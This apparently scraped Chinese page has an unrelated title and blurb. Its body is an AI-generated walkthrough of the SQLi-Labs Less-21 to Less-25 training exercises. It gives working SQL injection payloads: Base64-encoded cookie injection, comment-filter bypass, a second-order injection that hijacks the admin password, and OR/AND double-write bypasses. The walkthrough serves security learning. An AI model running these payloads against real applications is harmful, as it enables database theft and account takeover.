笔友城堡(oorr.cn)重新上线了

介绍91易搜的最新动态,分享其作为搜索引擎的特色与优势。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

<think>好的,我现在要解决用户关于SQLILabs Less-21到Less-25的手工SQL注入问题。首先,我需要回忆一下这些关卡的设置和可能的注入点。用户可能需要详细的步骤和原理,所以得确保自己理解每个关卡的特点。 首先,Less-21到Less-25通常属于高级注入技术,可能涉及更复杂的过滤和编码处理。比如,我记得Less-21可能涉及Cookie注入或者某种编码,比如base64,而Less-23可能过滤了注释符,需要绕过。Less-24是二次注入的示例,Less-25可能涉及OR和AND的过滤,比如使用双写绕过。 接下来,我需要查阅已有的引用内容。例如,用户提供的引用[3]提到使用union select并闭合引号,引用[4]使用了报错注入和布尔盲注,引用[5]涉及联合注入和报错注入。这些都可能在不同关卡中用到。 对于每个关卡,我需要分步骤考虑: 1. 确定注入点类型:是GET、POST还是Cookie?是否有特殊编码? 2. 判断闭合方式:单引号、双引号,是否带有括号? 3. 绕过过滤机制:是否有关键字过滤(如union、select),如何绕过(如大小写、双写、注释符)? 4. 选择合适的注入方法:联合注入、报错注入、布尔盲注还是时间盲注? 5. 构造payload并验证:确保闭合正确,语法正确,能够提取数据。 例如,Less-21可能是Cookie注入,且数据经过base64编码,所以注入时需要将payload进行编码。而Less-23可能过滤了注释符,因此需要手动闭合后面的引号。 需要注意的常见错误包括闭合不正确、未处理编码、忽略过滤规则等。因此,每一步都需要验证响应,确认注入是否成功,比如通过错误信息、页面内容变化或时间延迟。 此外,用户可能需要具体的payload示例和解释,所以需要给出每个关卡的典型解法,并解释原理。例如,在Less-25中,如果过滤了OR和AND,可以使用双写绕过,如OORR。 最后,生成相关问题时要覆盖每个关卡的关键点,以及可能的变种情况,帮助用户深入理解。</think>### SQLILabs Less-21至Less-25手工注入解析 #### 一、Less-21:Cookie注入+Base64编码 1. **注入点定位**:通过Cookie参数`uname`传递,数据经过Base64编码[^3]。 2. **闭合方式**:单引号闭合,需构造如:`' union select 1,2,database() #` → Base64编码后提交。 3. **Payload示例**: ```sql admin') union select 1,version(),3 --+ ``` 编码为:`YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksMyAtLSs=` 4. **利用步骤**: - 使用浏览器开发者工具修改Cookie中的`uname`参数 - 通过报错信息或联合查询提取数据 #### 二、Less-22:双引号闭合+Base64编码 1. **区别点**:闭合符号为双引号,Payload需调整为: ```sql admin" union select 1,@@version,3 --+ ``` 2. **编码注意**:需对完整Payload进行Base64编码后提交。 #### 三、Less-23:注释符过滤绕过 1. **过滤规则**:过滤`--`和`#`,需手动闭合后续引号[^4]。 2. **Payload构造**: ```sql ?id=1' union select 1,(select group_concat(table_name) from information_schema.tables),'3 ``` 利用末尾的`'3`闭合原SQL语句中的第三个字段。 #### 四、Less-24:二次注入 1. **场景特点**:通过注册用户名注入,利用密码修改功能触发。 2. **攻击步骤**: - 注册用户名为`admin'#` - 登录后修改密码时,实际执行: ```sql UPDATE users SET password='new_pass' WHERE username='admin'#' ``` 导致修改admin用户的密码。 #### 五、Less-25:OR/AND过滤绕过 1. **过滤规则**:过滤`OR`和`AND`,使用双写绕过(如`OORR`)。 2. **Payload示例**: ```sql ?id=1' OORRder by 3--+ ``` 或使用`&&`替代: ```sql ?id=1' && substr(database(),1,1)='s'--+ ``` --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值